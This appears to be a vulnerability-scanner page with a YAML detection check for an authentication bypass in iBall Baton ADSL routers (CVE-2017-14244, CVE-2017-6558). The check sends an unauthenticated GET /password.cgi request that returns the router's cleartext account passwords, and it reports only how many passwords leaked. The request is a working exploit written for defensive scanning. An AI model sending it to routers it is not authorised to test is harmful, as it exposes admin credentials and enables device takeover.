iBall — 1 vulnerability check

noctis ships 1 vulnerability check for iBall, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

iBall Baton 150M / ADSL2+ Router password.cgi Authentication Bypass (Password Disclosure)

CVECVE-2017-14244, CVE-2017-6558
Severitycritical · CVSS 9.8
Categoryauth-bypass — Auth bypass
Serviceshttp, https
Detectiontcp_connect, script, match · highest QoD 75
Feedtests/vulnerabilities/iball/iball-baton-password-cgi-auth-bypass.yaml

Requests /password.cgi without credentials. On affected iBall Baton routers the login that protects the administration pages is skipped when a page is requested with a .cgi extension, and this page returns the router account passwords in its JavaScript. The finding requires an HTTP 200 reply, the "Access Control -- Password" page markers and a quoted `pwdAdmin = '...'` assignment. The passwords are not copied into the finding; only the number of accounts whose password was disclosed is reported.

How noctis detects it

  1. Raw TCP (TLS on HTTPS), sent verbatim: GET /password.cgi HTTP/1.0
  2. Parses / computes the next value with a Rhai script
  3. Checks leak.verdict for ^password page served without authentication$ → finding QoD 75: Unauthenticated GET /password.cgi returned HTTP 200 with the Access Control -- Password page and the router account passwords in cleartext …

References:

Feed source — tests/vulnerabilities/iball/iball-baton-password-cgi-auth-bypass.yaml
# iBall Baton 150M / iBall ADSL2+ WRA150N — password.cgi authentication bypass
# (CVE-2017-14244, CVE-2017-6558)
#
# The router's web UI protects its .html pages with a login, but serves the
# same pages unauthenticated when they are requested with a .cgi extension.
# /password.cgi is the "Access Control -- Passwords" page, whose JavaScript
# carries the admin / support / user passwords in cleartext
# (`pwdAdmin = '...'`).
#
# Ported from OpenVAS/Greenbone NASL
# 2017/gb_iball_baton_150m_wireless_router_auth_bypass_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.811313, GPL-2.0-only). Same request, same page markers.
#
# Real exploitation, read-only: the feed fetches the password page without
# credentials — the disclosed passwords ARE the exploit. The values never go
# into the finding (only how many accounts leaked); the match runs on a fixed
# placeholder string, so neither the body nor a header can carry a secret.
#
# Better than the NASL:
#   - the NASL only looks for the text `pwdAdmin =` anywhere; here the admin
#     password must be an actual quoted JavaScript assignment
#     (`pwdAdmin = '<value>'`), so a help page or a reflected path quoting the
#     variable name does not fire;
#   - the NASL needs all three of pwdAdmin/pwdSupport/pwdUser; firmwares that
#     drop the support or user account still leak the admin password and are
#     reported here (the page markers stay mandatory);
#   - HTTPS remote management is covered via the auto-TLS of tcp_connect.
uid: 4c65e491-749f-4703-bfa7-c38a4bf5d656
name: "iBall Baton 150M / ADSL2+ Router password.cgi Authentication Bypass (Password Disclosure)"
description: |
  Requests /password.cgi without credentials. On affected iBall Baton routers
  the login that protects the administration pages is skipped when a page is
  requested with a .cgi extension, and this page returns the router account
  passwords in its JavaScript. The finding requires an HTTP 200 reply, the
  "Access Control -- Password" page markers and a quoted `pwdAdmin = '...'`
  assignment. The passwords are not copied into the finding; only the number
  of accounts whose password was disclosed is reported.
category: auth-bypass
cves: [CVE-2017-14244, CVE-2017-6558]
cvss: 9.8
severity: critical
confidence_base: 0.30
tags: [iball, baton, router, adsl, credential-disclosure]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-14244"
  - "https://nvd.nist.gov/vuln/detail/CVE-2017-6558"
  - "https://www.exploit-db.com/exploits/42740"
  - "https://www.techipick.com/iball-baton-adsl2-home-router-utstar-wa3002g4-adsl-broadband-modem-authentication-bypass"

steps:
  # 1 — the unauthenticated request (verbatim, HTTP/1.0, TLS auto from the scheme).
  - id: probe
    action: tcp_connect
    port: "{{port}}"
    send: "GET /password.cgi HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
    timeout_secs: 10
    store_as: resp

  # 2 — parse: HTTP 200, the two page markers, and a quoted pwdAdmin assignment.
  #     Only booleans and a count leave this step.
  - id: parse
    action: script
    code: |
      let out = #{ leaked: false, accounts: 0, verdict: "" };
      if type_of(resp.banner) == "string" {
        let b = resp.banner;
        let ok200 = ereg("^HTTP/1\\.[01] 200", b);
        let page = stridx(b, ">Access Control -- Password") >= 0
          && stridx(b, "Access to your DSL router") >= 0;
        let admin = ereg("pwdAdmin\\s*=\\s*(\"[^\"\\r\\n]*\"|'[^'\\r\\n]*')", b);
        if ok200 && page && admin {
          out.leaked = true;
          out.verdict = "password page served without authentication";
          let n = 0;
          for acct in ["Admin", "Support", "User"] {
            if ereg("pwd" + acct + "\\s*=\\s*(\"[^\"\\r\\n]+\"|'[^'\\r\\n]+')", b) {
              n += 1;
            }
          }
          out.accounts = n;
        }
      }
      out
    store_as: leak

  # 3 — report on the fixed verdict string; no target text reaches the finding.
  - id: confirm
    action: match
    condition: "leak.leaked == true"
    source: leak.verdict
    pattern: "^password page served without authentication$"
    on_match:
      finding:
        confidence_delta: 0.55
        qod: 75
        evidence: "Unauthenticated GET /password.cgi returned HTTP 200 with the Access Control -- Password page and the router account passwords in cleartext ({{leak.accounts}} non-empty password(s) disclosed, values withheld) at {{target_host}}:{{port}}"
      stop: true

View these feeds on GitHub